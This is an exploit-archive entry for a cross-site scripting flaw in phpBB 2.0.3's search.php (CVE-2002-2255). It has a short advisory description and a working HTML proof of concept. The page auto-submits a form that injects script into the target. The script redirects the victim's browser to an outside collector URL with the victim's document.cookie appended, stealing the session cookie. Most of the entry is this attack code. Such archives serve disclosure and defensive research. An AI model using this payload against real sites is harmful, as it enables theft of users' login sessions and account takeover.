phpBB 2.0.3 - 'search.php' Cross-Site Scripting

Author: f_a_a
type: webapps
platform: php
port: 
date_added: 2002-12-03 
date_updated: 2012-10-18 
verified: 1 
codes: CVE-2002-2255;OSVDB-59036 
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/6311/info

phpBB is vulnerable to cross site scripting attacks. This is due to insufficient santization of user-supplied input. The problem is located in the search.php script. This issue may be exploited by an attacker to steal a legitimate users cookie-based authentication credentials.

<html>
<body>
<form method="post" name="search"
action="http://target/search.php?mode=searchuser">
<input type="hidden" name="search_username" value=""/>

</form>
<SCRIPT>
search.search_username.value='Http://savecookie/x.php?Cookie="><script>location=search.search_username.value+document.cookie;</script\>';
document.search.submit();
</script>
</body>
</html>